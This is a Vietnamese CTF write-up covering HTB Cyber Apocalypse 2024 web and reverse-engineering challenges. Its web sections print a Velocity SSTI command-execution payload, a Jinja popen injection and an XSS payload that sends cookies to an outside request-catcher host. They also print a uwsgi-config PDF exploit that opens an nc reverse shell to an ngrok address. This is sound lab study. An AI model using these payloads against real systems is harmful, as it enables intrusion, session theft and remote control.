Hihi thì đây là nếu bạn muốn blind, còn nếu muốn không blind thì 👎
Flag
HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}
Labyrinth Linguist
credit: l3mnt2010
Hihi tiếp tục là một bài white-box nhưng mà với source java mà lâu rùi mình chưa đụng nên mình chưa làm và gần cuối giải thì mới để ý và xem thêm hướng giải quyết của các anh trong clb hihi:((()):
RECON
Đầu tiên thì cũng xem phần "vỏ" của trang này
Thấy cái lá xanh xanh kia là biết java spring boot rùi:<
Enter text to translate english to voxalith!
nhập text để chuyển đổi qua voxalith
Khumm hiểu lắm @@
Chức năng cũng khá đơn giản:
Search xem có gì không thì cũng không có gì khác ngoài cái template khá giống bài j4JA
trong tetCTF hmm,…
Okie bây giờ thì view java source thuiiiiiiii:<
DETECT
Sương sương thì cấu trúc cây thư mục như thế này:
/src/main/resources/templates/index.html
Như ta thấy thì khi mà ta submit sẽ post text lên sever để xử lí. Dockerfile
Ở chall này thì flag nằm trong /flag.txt
Main.class
// Source code is decompiled from a .class file using FernFlower decompiler.
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.ParseException;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
@EnableAutoConfiguration
public class Main {
public Main() {
}
@RequestMapping({"/"})
@ResponseBody
String index(@RequestParam(required = false,name = "text") String textString) {
if (textString == null) {
textString = "Example text";
}
String template = "";
try {
template = readFileToString("/app/src/main/resources/templates/index.html", textString);
} catch (IOException var9) {
var9.printStackTrace();
}
RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
StringReader reader = new StringReader(template);
Template t = new Template();
t.setRuntimeServices(runtimeServices);
try {
t.setData(runtimeServices.parse(reader, "home"));
t.initDocument();
VelocityContext context = new VelocityContext();
context.put("name", "World");
StringWriter writer = new StringWriter();
t.merge(context, writer);
template = writer.toString();
} catch (ParseException var8) {
var8.printStackTrace();
}
return template;
}
public static String readFileToString(String filePath, String replacement) throws IOException {
StringBuilder content = new StringBuilder();
BufferedReader bufferedReader = null;
try {
bufferedReader = new BufferedReader(new FileReader(filePath));
String line;
while((line = bufferedReader.readLine()) != null) {
line = line.replace("TEXT", replacement);
content.append(line);
content.append("\n");
}
} finally {
if (bufferedReader != null) {
try {
bufferedReader.close();
} catch (IOException var10) {
var10.printStackTrace();
}
}
}
return content.toString();
}
public static void main(String[] args) throws Exception {
System.getProperties().put("server.port", 1337);
SpringApplication.run(Main.class, args);
}
}
Decompile sẽ thấy được source kia, thì chall này chỉ có source này chính thui
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.ParseException;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
Ta có thể xem version và library của các notification và các hàm sử dụng trong Main.
Cần chú ý là sever sử dụng thư viện apache.velocity
version 1.7
Quay lại phần phân tích source như ta đã thấy ở trên thì chall này chỉ có 1 route duy nhất là /
thui
@RequestMapping({"/"})
@ResponseBody
String index(@RequestParam(required = false,name = "text") String textString) {
if (textString == null) {
textString = "Example text";
}
String template = "";
try {
template = readFileToString("/app/src/main/resources/templates/index.html", textString);
} catch (IOException var9) {
var9.printStackTrace();
}
RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
StringReader reader = new StringReader(template);
Template t = new Template();
t.setRuntimeServices(runtimeServices);
try {
t.setData(runtimeServices.parse(reader, "home"));
t.initDocument();
VelocityContext context = new VelocityContext();
context.put("name", "World");
StringWriter writer = new StringWriter();
t.merge(context, writer);
template = writer.toString();
} catch (ParseException var8) {
var8.printStackTrace();
}
return template;
}
Đầu tiên nhận giá trị text được post lên từ index.html template nếu mà textString
là null thì gán textString=Example text
Sau đó khởi tạo String template với chuỗi rỗng.
Sau đó try catch để gán template bằng nội dung template + hiển thị textString
Tiếp tục RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
Tạo một biến runtimeServices
và từ đó ta có thể sử dụng các phương thức và thuộc tính của RuntimeSingleton.getRuntimeServices();
StringReader reader = new StringReader(template);
: Tạo một đối tượng StringReader từ một chuỗi template. StringReader là một lớp trong Java cho phép đọc từ chuỗi này.
Template t = new Template();
: Tạo một thể hiện mới của lớp Template. Đối tượng này sẽ đại diện cho một template, mà sau đó có thể được sử dụng để xử lý và sinh ra dữ liệu đầu ra dựa trên dữ liệu đầu vào được cung cấp.
t.setRuntimeServices(runtimeServices);
: Thiết lập RuntimeServices cho đối tượng template t đã tạo. Điều này đảm bảo rằng template có thể sử dụng các dịch vụ và tính năng được cung cấp bởi RuntimeServices, chẳng hạn như các hàm và biến được định nghĩa trong quá trình xử lý template.
Tiếp nữa là sử dụng try-catch 🅰️
try {
t.setData(runtimeServices.parse(reader, "home"));
t.initDocument();
VelocityContext context = new VelocityContext();
context.put("name", "World");
StringWriter writer = new StringWriter();
t.merge(context, writer);
template = writer.toString();
} catch (ParseException var8) {
var8.printStackTrace();
}
GPT Một tí :>:
t.setData(runtimeServices.parse(reader, "home"))
: Đọc và phân tích nội dung của reader (đã được tạo từ chuỗi template) bằng cách sử dụng runtimeServices. Kết quả được đặt vào đối tượng t để sử dụng cho việc tạo ra dữ liệu đầu ra.
t.initDocument()
: Khởi tạo tài liệu của template. Điều này chuẩn bị template để merge với dữ liệu và sinh ra dữ liệu đầu ra.
VelocityContext context = new VelocityContext()
: Tạo một đối tượng VelocityContext, một đối tượng lưu trữ các cặp khóa-giá trị được sử dụng trong quá trình merge.
context.put("name", "World")
: Thêm một cặp khóa-giá trị vào VelocityContext. Trong ví dụ này, "name" là khóa và "World" là giá trị tương ứng.
StringWriter writer = new StringWriter()
: Tạo một đối tượng StringWriter để lưu kết quả của việc merge template.
t.merge(context, writer)
: Merge template với dữ liệu được cung cấp từ VelocityContext vào StringWriter. Kết quả được lưu trong StringWriter.
template = writer.toString()
: Chuyển nội dung của StringWriter thành một chuỗi và gán vào biến template.Để ý đoạn này :
VelocityContext context = new VelocityContext();
Chưa làm thì cũng đoán chắc đây là SSTI rùi:<
Sau khi hỏi mấy anh thì mình tìm được bài nì:
https://www.linkedin.com/pulse/apache-velocity-server-side-template-injection-marjan-sterjev/
Có cả POC lun:
Mình sẽ dựa trên blog này để phân tích:
Apache Velocity Server-Side Template Injection
Như search ở trên thì đây là một template để hiển thị nội dung của java từ apache cũng giống như bao thư viện khác
import java.io.StringWriter;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
public class VelocityTest {
public static void main(String[] args) throws Throwable {
VelocityEngine velocityEngine = new VelocityEngine();
velocityEngine.init();
Template t = velocityEngine.getTemplate("template.vm");
VelocityContext context = new VelocityContext();
context.put("name", "l3mnt2010");
StringWriter writer = new StringWriter();
t.merge(context, writer);
System.out.println(writer);
}
}
Ta có thể thấy source khá tương tự ở trên nêu thì khi mình nhập vào thì sẽ hiển thị nội dung name + l3mnt2010:
Đây là source
Và cũng giống như những template khác thì velocity cũng có thể truy cập được với các cú pháp của nó và ta chú ý đến #set($message = "l3mnt2010")
Thì biến $message
được gán giá trị là l3mnt2010
, nếu từ riêng lẻ thì khó có thể thực thi mã với os trên template này nên ta sử dụng kết hợp với các lớp hàm hàm khởi tạo của java luôn
POC:
#set($s="")
#set($stringClass=$s.getClass())
#set($stringBuilderClass=$stringClass.forName("java.lang.StringBuilder"))
#set($inputStreamClass=$stringClass.forName("java.io.InputStream"))
#set($readerClass=$stringClass.forName("java.io.Reader"))
#set($inputStreamReaderClass=$stringClass.forName("java.io.InputStreamReader"))
#set($bufferedReaderClass=$stringClass.forName("java.io.BufferedReader"))
#set($collectorsClass=$stringClass.forName("java.util.stream.Collectors"))
#set($systemClass=$stringClass.forName("java.lang.System"))
#set($stringBuilderConstructor=$stringBuilderClass.getConstructor())
#set($inputStreamReaderConstructor=$inputStreamReaderClass.getConstructor($inputStreamClass))
#set($bufferedReaderConstructor=$bufferedReaderClass.getConstructor($readerClass))
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("ls /"))
#set($null=$process.waitFor() )
#set($inputStream=$process.getInputStream())
#set($inputStreamReader=$inputStreamReaderConstructor.newInstance($inputStream))
#set($bufferedReader=$bufferedReaderConstructor.newInstance($inputStreamReader))
#set($stringBuilder=$stringBuilderConstructor.newInstance())
#set($output=$bufferedReader.lines().collect($collectorsClass.joining($systemClass.lineSeparator())))
$output
Ở đây ta lợi dụng hàm thực thi từ java.lang.Runtime để chạy os command và kết quả nhận được
Và lụm flag thui:
Flag
HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}
Apexsurvive
credit: kev1n
Dạo này mình khá là hay viết wu các ctf challenge (chắc chắn không phải là do ngày trước mình lười), nó dường như đã tạo cho mình thói quen hàng tuần mình sẽ wu lại những challenge mình chơi và mình thấy hay và học được nhiều thứ từ nó. Câu lạc bộ mình tuần này có tham gia giải HTB - Cyber Apocalypse 2024, phải công nhận đây là một giải dài hơi và mình đã tốn tương đối thời gian cho các challenge web của giải này (cụ thể là 4 ngày) nhưng vẫn không thể solve được hết web challenge của giải, bản thân mình còn phải học hỏi rất nhiều nữa mới có thể hiểu và solve được dạng bài web cuối cùng nếu lần sau còn gặp lại. Giải đã kết thúc và cũng nhờ sự cố gắng, try hard của các anh em trong câu lạc bộ đến từ mọi mảng mà clb mình cũng đạt được thứ hạng mình nghĩ là khá cao.
Lan man vậy cũng đủ rồi, sau đây sẽ là quá trình mình và các teamates trong KCSC đi giải các challenge web HTB, cũng như cách hiểu của mình về web chall đó. Let's go!!
Preface
Đây là một chall white box nên mình download source về rồi dựng local khai thác cho nó tiện theo dõi :")))
Sau khi dựng xong thì mình cũng phải khá choáng vì dockerfile của bài này những 70 dòng, nên mình tò mò đọc để nắm trước cần phải làm gì ở chall này
# Setup flag
COPY flag.txt /root/flag
RUN chmod 600 /root/flag
# Setup readflag
COPY config/readflag.c /
RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c
Docker như này là mình phải RCE để lấy flag rùi Chall có 2 service, 1 service web chính chạy python, và service email chạy js (và bot), nên mình nghĩ chắc sẽ có cả lỗ hổng client side và server side trong challenge này
Verify email token
Vào chall thì mình được 'hướng dẫn' đăng kí với tên test@email.htb
và để nhận được token email verify, nên cũng nhanh nhảu register và nhận được token ở endpoint /email
khi đã vào account settings và chọn verify:
Sau khi verify mình thấy có chức năng report và tham số truyền vào là ID của sản phẩm có tại /challenge/home
(nghe mùi xss quá)
Đi vào đọc source, mình thấy có endpoint /eternal
khá hay khi cho phép redirect đến endpoint mình control:
@web.route('/external')
def external():
url = request.args.get('url', '')
if not url:
return redirect('/')
return redirect(url)
Với việc cookie được set samesite: strict, mình nghĩ đến việc bypass Samesite Strict bằng redirect nên đã ngồi với thằng này cả buổi nhưng không có kết quả 😢
Mò mẫm source code
Sau khi tốn kha khá thời gian với thằng endpoint này mà không được kết quả gì, mình quyết định tạm thời bỏ qua và hướng đến các chức năng khác, có 2 chức năng đáng chú ý khi mình có thể lên được admin, đó là thêm sản phẩm/addItem và thêm contract/addContract.
- Chức năng thêm sản phẩm có thể được sử dụng khi mình thỏa mãn isInternal (cụ thể là thuộc tính isInternal của user trong db là true) thì có thể sử dụng, addItem dùng để thêm một sản phẩm mới vào shop. Tuy nhiên thì các input cũng đã được sanitize chỉ cho phép nhập vào các tag và attribute nhất định được quy định trong
middlewares.py
@api.route('/addItem', methods=['POST'])
@isAuthenticated
@isVerified
@isInternal
@antiCSRF
@sanitizeInput
def addItem(decodedToken):
name = request.form.get('name', '')
price = request.form.get('price', '')
description = request.form.get('description', '')
image = request.form.get('imageURL', '')
note = request.form.get('note', '')
seller = request.form.get('seller', '')
if any(value == '' for value in [name, price, description, image, note, seller]):
return response('All fields are required!'), 401
newProduct = addProduct(name, image, description, price, seller, note)
if newProduct:
return response('Product Added')
return response('Something went wrong!')
- Chức năng mình muốn nói đến thêm contract, khi upload 1 file lên, server lưu nội dung vào /
tmp/temporaryUpload
rồi mới check nội dung của file đó ở hàm checkPDF sử dụng PdfReader mode strict (khó cứu ca này). Nếu check thành công sẽ nối/app/application
,contracts
và file name bằng os.path.join để tạo thành file path hoàn chỉnh. Hàm path.join dính path traversal nặng và đây là lỗi mình cần khai thác để exploit path traversal upload file to RCE.
@api.route('/addContract', methods=['POST'])
@isAuthenticated
@isVerified
@isInternal
@isAdmin
@antiCSRF
@sanitizeInput
def addContract(decodedToken):
name = request.form.get('name', '')
uploadedFile = request.files['file']
if not uploadedFile or not name:
return response('All files required!')
if uploadedFile.filename == '':
return response('Invalid file!')
uploadedFile.save('/tmp/temporaryUpload')
isValidPDF = checkPDF()
if isValidPDF:
try:
filePath = os.path.join(current_app.root_path, 'contracts', uploadedFile.filename)
with open(filePath, 'wb') as wf:
with open('/tmp/temporaryUpload', 'rb') as fr:
wf.write(fr.read())
return response('Contract Added')
except Exception as e:
print(e, file=sys.stdout)
return response('Something went wrong!')
return response('Invalid PDF! what are you trying to do?')
- Buồn ở chỗ chức năng này không dễ có tí nào vì phải là admin thì mới sử dụng được, bài toán lúc này lại quay về việc làm thế nào để lên được admin
Tiếp tục đọc source, mình ngốn khoảng 1 buổi tiếp theo để nghĩ cách bypass admin nhưng chẳng có cách nào khả thi, cũng may là cuộc thi kéo dài nhiều ngày nên mình có nhiều thời gian suy nghĩ hơn. Lúc này mình đã chịu và không tìm được cách leo lên admin, nhưng lại biết được vuln sau khi lên admin (aizzz chíc tịc). Nhận thấy chức năng report sẽ lấy credential của admin và gửi đi nên mình sử dụng chúng đăng nhập vào admin exploit lỗi upload file, các teammates sẽ lo vụ leo lên admin 😆
2024-03-16 22:34:49 127.0.0.1 - - [16/Mar/2024 15:34:49] "GET /visit?productID=1&email=xclow3n@apexsurvive.htb&password=d8Bfk5Fw6oiROrxqrS2TmLc4NF1ZHU3r0OQfZSzbHna2DGljQbEmNG6st7uZ9QQ7 HTTP/1.1" 200 -
Exploit file upload
Nói đến upload file python thì cách đầu tiên mình nghĩ đến là upload ghi đè file __init__.py
nhưng web này lại không có nên hướng đi đó không khả thi cho lắm
Vì mới gần đây có một bài upload python cũng na ná, teammate MacHongNam đã gợi ý mình cách ghi đè file html và ssti trong file đó để khi server render_template sẽ trigger ssti để RCE. Điều kiện là file templates đó chưa được render lần nào, vì render_template sẽ ghi nhớ các lần render nên nếu render lỗi khả năng phải chạy lại docker làm lại là rất cao
Mình sẽ chọn templates info.html
được render ở path /
để inject -> trang chủ giới thiệu, chỉ cần lúc đầu mình truy cập thẳng vào path /challenge
và /email
là được
@challengeInfo.route('/')
def info():
return render_template('info.html')
File sau khi được upload sẽ lưu vào /tmp/temporaryUpload
rồi mới được check, sau khi check thành công nội dung được đưa vào folder contracts hoặc là trả về thông báo invalid PDF.
\=> Phải mất 2 lần ghi file thì file mới được ghi thành công, mình hoàn toàn có thể lợi dụng lúc file pdf đang được check để upload 1 file html nữa thế chỗ file pdf cũ
\=> race condition, sau đó sử dụng path traversal ghi đè html là có thể rce thành công rồi
Mình bắt tay vào viết script upload file race condition nhưng bằng một lý do gì đấy mà script của mình đều ghi đè pdf vào templates thay vì file html mà mình mong muốn =))). Mình stuck ở đây cũng phải 2 tiếng trước khi quyết định méo dùng script python nữa mà chuyển qua xài Burp Repeater cho nó nhanh.
Server check pdf chặt nên mình sẽ gửi 1 pdf valid lấy mẫu request, và file html mình copy nguyên từ thằng gốc và nhét thêm dòng:
{% print(namespace.__init__.__globals__.os.popen('/readflag').read()) %}
Thay đổi tên file của các file html thành /app/application/templates/info.html
, mình gửi đi cùng lúc 1 req upload pdf và 6 req upload html
Sau một hồi spam Ctrl Space thì mình đã ghi đè được file info.html
Khai thác thành công!!
Tuy rằng đã có thể khai thác thành công, nhưng mình vẫn chưa tìm được cách nào để có thể lên được admin, cùng lúc này teammate MacHongNam bảo mình hãy nghĩ cách để lên được isInternal nhằm sử dụng api /addItem
, vì mình có thể dom based XSS tại endpoint /product/product-id
Bypass sanitized input to trigger XSS
Nghe như vậy thì mình đã tìm đến path addProduct để thêm sản phẩm, khi đọc đến product.html
thì mình đã thấy vì sao có thể dom based XSS:
<script>
let note = `{{ product.note | safe }}`;
const clean = DOMPurify.sanitize(note, {FORBID_ATTR: ['id', 'style'], USE_PROFILES: {html:true}});
document.getElementById('note').innerHTML += clean;
</script>
Note là một thuộc tính mà mình control khi addProduct -> sử dụng backtick escape khỏi đoạn khai báo note -> XSS:
Kết hợp với việc có thể report cho admin về các product, mình có payload sau để lấy session của admin:
`;fetch("https://9vja3pan.requestrepo.com/?"+document.cookie);//
Bypass isInternal with race condition
Tiếp tục vùi đầu vào đống source code, mình thấy được ở đoạn verifyEmail, email được tách ra thành tên và hostname, kiểu a@gmail.com
thì tên là a
và hostname là gmail.com
. Nếu như hostname của mình là apexsurvive.htb thì database sẽ set isInternal="true", đây chính là chỗ mình cần phải exploit
def verifyEmail(token):
user = query('SELECT * from users WHERE confirmToken = %s', (token, ), one=True)
if user and user['isConfirmed'] == 'unverified':
_, hostname = parseaddr(user['unconfirmedEmail'])[1].split('@', 1)
if hostname == 'apexsurvive.htb':
query('UPDATE users SET isConfirmed=%s, email=%s, unconfirmedEmail="", confirmToken="", isInternal="true" WHERE id=%s', ('verified', user['unconfirmedEmail'], user['id'],))
else:
query('UPDATE users SET isConfirmed=%s, email=%s, unconfirmedEmail="", confirmToken="" WHERE id=%s', ('verified', user['unconfirmedEmail'], user['id'],))
mysql.connection.commit()
return True
return False
Ngặt nghèo ở chỗ là trang email của chúng ta chỉ nhận email gửi đến test@email.htb
😢. Sau khi bế's tắc một khoảng thời gian khá lâu thì teammate Chương tìm ra được cách để nhận được email của tài khoản có hostname apexsurvive.htb
là race condition:
- Khi chỉnh sửa profile từ một email đã verify thành một email khác, server sẽ tự gửi token đến email đó
@api.route('/profile', methods=['POST'])
...
if result:
if result == 'email changed':
sendEmail(decodedToken.get('id'), email)
return response('Profile updated!')
- API sendVerification cho biết server sẽ lấy thông tin của user đó, kiểm tra xem user đã được confirm email chưa, nếu chưa sẽ gửi token đến email đó
@api.route('/sendVerification', methods=['GET'])
@isAuthenticated
@sanitizeInput
def sendVerification(decodedToken):
user = getUser(decodedToken.get('id'))
if user['isConfirmed'] == 'unverified':
if checkEmail(user['unconfirmedEmail']):
sendEmail(decodedToken.get('id'), user['unconfirmedEmail'])
return response('Verification link sent!')
else:
return response('Invalid Email')
return response('User already verified!')
-> Có thể race condition save profile 2 email, đồng thời sendVerification để yêu cầu gửi token đến email, từ đó ghi đè nội dung server gửi cho test@email.htb
thành của test@apexsurvive.htb
, từ đó lấy token của email test@apexsurvive.htb
đi verify là được isInternal=true.
Complete the attack chain & Exploit
Các bước tấn công đã đầy đủ, nên mình sẽ tổng hợp lại như sau:
Race condition verify email -> bypass isInternal
Dom Based XSS tại /addProduct -> lấy session admin/ bypass admin
Race condition upload file -> RCE
Attack chain có tận 2 lần race condition nên việc có thể solve nhanh hay chậm nó phụ thuộc vào may mắn khá nhiều =)), sau khi rõ hướng thì mình deploy web rồi làm luôn và theo như mình thấy thì race verify email là công đoạn lâu nhất.
Bypass isInternal
Mình tiếp tục sử dụng Burp Repeater để race condition email, với 3 req sendVerification, 1 req update profile
test@email.htb
và 1 reqtest@apexsurvive.htb
:
Cuối cùng cũng có token có thể verify
Bypass admin
Sử dụng payload bên trên và report product id, mình có admin token:
Đến giờ truy cập admin để RCE rồi
Upload file
Mình làm y hệt như ở trên local và lụm được flag của challenge:
Flag
HTB{0H_c0m3_0n_r4c3_c0nd1t10n_4nd_C55_1nj3ct10n_15_F1R3}
P/s: Sau khi làm xong mình mới thấy là nếu như render ra pdf thì trang web sẽ bị lỗi và không lưu lại template đó nên mình có thể tiếp tục race mà không phải redeploy challenge.
Another workaround to bypass PDF upload
Sau khi đi tản mạn write up của mọi người, mình có tìm được bài write up này có một solution khác để trigger RCE thông qua upload file:
https://blog.elmosalamy.com/posts/apexsurvive-writeup-htb-cyber-apocalypse-2024/
Đây là một cách rất hay khi server uwsgi
dính lỗi arbitary PDF upload, cụ thể là nhằm vào file uwgsi.ini
(Chi tiết ở document): https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
uwsgi
có khả năng đọc file config của chính nó kể cả khi file dưới dạng binary, miễn sao nó tìm được chuỗi bắt đầu khai báo config hợp lệ:[uwsgi]
uwsgi
sử dụng operator@
và các scheme để hỗ trợ include, đọc file và call các function, trong đó có schemeexec
dùng để thực thi câu lệnh -> Thứ mình cần dùng:
[uwsgi]
; read from a process stdout
body = @(exec://whoami)
Việc tấn công vào file ini sẽ cần một yếu tố quan trọng khác: Làm thế nào để uwsgi
reload lại config của chính nó?
Điều này có thể được giải quyết nếu như uwsgi config sẵn chức năng dùng để debug py-auto-reload
, nếu như phát hiện sự thay đổi của các file trong server thì config sẽ được reload.
Việc upload file PDF là chưa đủ, nên sau đó mình cần phải ghi đè một file .py
thì server mới reload lại config, từ đó trigger RCE.
py-autoreload = 3
Document cũng có luôn cả POC nên mình sẽ sửa để đổi thành payload reverse shell:
from fpdf import FPDF
from exiftool import ExifToolHelper
with ExifToolHelper() as et:
et.set_tags(
["lmao.jpg"],
tags={"model": "
[uwsgi]
foo = @(exec://nc 0.tcp.ap.ngrok.io 18726 -e /bin/sh)
"},
params=["-E", "-overwrite_original"]
)
class MyFPDF(FPDF):
pass
pdf = MyFPDF()
pdf.add_page()
pdf.image('./lmao.jpg')
pdf.output('exploit.pdf', 'F')
Lưu ý: Nếu báo lỗi không có module exiftool thì mình sẽ chạy câu lệnh
python3 -m pip install -U pyexiftool
Sau khi gen ra PDF thì mình gửi đi để ghi đè /app/uwsgi.ini
Ghi đè tiếp /app/application/database.py
để trigger uwgsi
reload lại config
Log server thông báo việc file database.py
đã bị thay đổi, tiến hành kill tiến trình và khởi động lại /app, load lại config
Reverse Shell thành công
Reverse Engineering
LootStash
credit: Trohan0x00
Cách nhanh nhất là shift + f12
và tìm format HTB
để lấy flag
Flag
HTB{n33dl3_1n_a_l00t_stack}
PackedAway
credit: Trohan0x00
Nhìn tên bài thì ta cũng biết bài này đã bị pack. Để chắc chắn hơn ta có thể dùng DIE hoặc file
để check
File này đã bị pack vậy nên ta tiến hành unpack. Sau khi unpack cũng như bài trước ta sẽ search string để tìm thử format flag và ta thấy flag.
Flag
HTB{unp4ck3d_th3_s3cr3t_0f_th3_p455w0rd}
BoxCutter
credit: Trohan0x00
Ta check main như sau:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char file[8]; // [rsp+0h] [rbp-20h] BYREF
__int64 v5[2]; // [rsp+8h] [rbp-18h]
int fd; // [rsp+18h] [rbp-8h]
unsigned int i; // [rsp+1Ch] [rbp-4h]
*(_QWORD *)file = 0x540345434C75637FLL;
v5[0] = 0x68045F4368505906LL;
*(__int64 *)((char *)v5 + 7) = 0x374A025B5B035468LL;
for ( i = 0; i <= 0x16; ++i )
{
file[i] ^= 0x37u;
}
fd = open(file, 0);
if ( fd > 0 )
{
puts("[*] Box Opened Successfully");
close(fd);
}
else
{
puts("[X] Error: Box Not Found");
}
return 0;
}
Chương trình khá đơn giản ta chỉ cần chú ý vào vòng lặp for ( i = 0; i <= 0x16; ++i ) { file[i] ^= 0x37u; }
chương trình sẽ xor từng kí tự trong file với 0x37u ta sẽ đặt breakpoint để lấy giá trị ra
Flag
HTB(tr4c1ng_th3_c4ll5})
CRUSHING
credit: Trohan0x00
Đề cho ta 1 file thực thi và 1 file data, check xem thử file data thế nào
Có lẽ đây là flag hoặc output gì đó của chương trình được enc và lưu ở đây, để rõ hơn thì mình sẽ phân tích file ELF kia
Quăng vào IDA thì thấy hàm main khá đơn giản, đập vào mình đầu tiên thì chương trình call hai hàm rất đáng nghi là add_char_to_map
và serialize_and_output
, input nhận từng kí tự hàm check sẽ dừng chương trình chỉ khi input = -1
Hàm add_char_to_map
sẽ đưa từng kí tự input vào có lẽ để thực hiện ánh xạ vào structure nào đó, ta sẽ check thử
Hàm này về cơ bản là để check các byte value. Mỗi vị trí chứa một danh sách liên kết của phần đối số. Mỗi phần tử có một index trỏ đến vị trí của ký tự trong file data, ta check xem hàm thứ hai
Phần list_len
tính xem danh sách liên kết của char
dài bao nhiêu thì nó sẽ in ra, sau đó nó sẽ in phần index char
, lặp 256 lần vì byte từ 0 đến 255.
import struct
def decrypt_message(file_path):
with open(file_path, 'rb') as f:
char_to_positions = {}
for char in range(256):
if len(f.read(8)) < 8:
break
f.seek(-8, 1)
list_len = struct.unpack('Q', f.read(8))[0]
positions = []
for _ in range(list_len):
if len(f.read(8)) < 8:
break
f.seek(-8, 1)
positions.append(struct.unpack('Q', f.read(8))[0])
char_to_positions[char] = positions
position_to_char = {pos: char for char, positions in char_to_positions.items() for pos in positions}
decrypted_message = ''.join(chr(position_to_char[pos]) for pos in sorted(position_to_char))
return decrypted_message
x = decrypt_message("message.txt.cz")
print(x)
Flag
HTB{4_v3ry_b4d_compr3ss1on_sch3m3}
FollowThePath
credit: Trohan0x00
Nhìn source code ban đầu sẽ không cho ta nhiều thông tin cho lắm, đơn giản chương trình sẽ yêu càu ta nhập flag và check input đầu vào.
Mình sẽ thử debug đặt breakpoint ở line 9
Đây là hàm check input đầu vào của chương trình. Đầu tiên r8 sẽ lưu giá trị từng kí tự đầu vào của chương trình sau đó xor r8, 0C4h
và cmp r8, 8Ch
. Mình nghĩ 2 const này sẽ đổi khi qua các hàm check khác cho từng kí tự khác vì thế để xor ngược lại tìm flag thì ta xor 8Ch, 0C4h
ra được kí tự H
.
Đây có lẽ là format HTB{
dựa theo format có sẵn ta sẽ spam thử input đầu vào HTV{aaaaaaaaaaa}
Trong lúc debug ta sẽ thấy các biến bên dưới sẽ tự sửa thành code theo như tìm hiểu mình biết được đó là cơ chế self modify
Khi chạy đến kí tự a đầu tiên ngoài format ta có thể patch giá trị r8 để qua hàm check hoặc set IP thằng để nhảy qua
Chall có thể làm theo cách thủ công như này nhưng nhiều lúc khá cay tại mình ấn nhầm f9
hoặc là đi quấ hàm check mà chưa kịp set IP nên nó jump vô r10:vvv
Flag
HTB{s3lF_d3CRYpt10N-1s_k1nd4_c00l_i5nt_1t}
QuickScan
credit: Trohan0x00
Chall cho ta sv docker khi truy cập ta sẽ được như sau
Đây có lẽ là một chuỗi b64 của file ELF mình quăng lên Cyber chef
để decode thì ta được một đoạn code như sau
Đoạn decode cho ta 1 chương trình nhỏ, ta chỉ cần đọc được giá trị byte ở byte_80480C5
nhưng giới hạn thời gian bài cho ta chỉ 60s nên việc decode xong đọc giá trị là không thể nên ta sẽ dùng cách khác.
from pwn import *
import base64
def from_bytes(b):
num = int.from_bytes(b, byteorder='little')
if num >= (2 ** (len(b) * 8 - 1)):
num -= (2 ** (len(b) * 8))
return num
def find_sequence_and_extract_bytes(byte_sequence):
sequence = bytes([0x48, 0x83, 0xEC, 0x18, 0x48, 0x8D, 0x35])
data = byte_sequence
index = data.find(sequence)
if index == -1:
print("Sequence not found in file.")
return
four_bytes = data[index + len(sequence) : index + len(sequence) + 4]
b = from_bytes(four_bytes)
s = index + 4 + 7 + b
extracted_bytes = data[s : s + 24]
return extracted_bytes.hex()
r = remote('94.237.62.195' 51062)
first_message = r.recvuntil("Bytes? ").decode()
print(first_message)
first_answer = first_message.split("Expected bytes: ")[1].split("\n")[0]
r.sendline(first_answer)
solved = 0
while solved < 128:
try:
second_message = r.recvuntil("Bytes? ").decode()
except Exception as e:
print("solve: ", solved)
print("An error occurred: ", str(e))
print("Received so far: ", r.recv().decode())
print(second_message)
elf_base64 = second_message.split("ELF: ")[1].split("\n")[0]
elf = base64.b64decode(elf_base64)
answer = find_sequence_and_extract_bytes(elf)
print(answer)
r.sendline(answer)
solved += 1
flag = r.recv().decode()
print(flag)
Chương trình này dùng 24 byte lưu trên stack và sau đó chép 24 byte (movsb rep
) từ vị trí dữ liệu vào stack. Các level tiếp theo có cùng cấu trúc, chỉ khác là số byte và vị trí các data
Flag
HTB{y0u_4n4lyz3d_th3_p4tt3ns!}
FlecksOfGold
credit: Trohan0x00
Bài này mình cảm thấy hơi ao trình đối với mình, sau một lúc tìm hiểu thì cơ bản mình biết được chương trình được viết bằng ECS (Entity Component System). Cụ thể mình sẽ khái quát như sau
ECS là một kiến trúc phần mềm trong lĩnh vực phát triển trò chơi cũng có thể được áp dụng trong các ứng dụng khác như mô phỏng, thực tế ảo,…
ECS cấu tạo gồm 3 phần chính:
Entity: Đại diện cho một đối tượng trong trò chơi hoặc ứng dụng. Một thực thể không chứa bất kỳ dữ liệu nào, chỉ đơn giản là một "tên" hoặc "nhãn" để định danh cho các thành phần liên quan.
Component: Là các khối xây dựng dữ liệu đơn giản, chứa thông tin về các thuộc tính hoặc hành vi của đối tượng. Mỗi thành phần nên chỉ chứa một phần nhỏ và độc lập của thông tin cần thiết để mô tả một khía cạnh cụ thể của đối tượng.
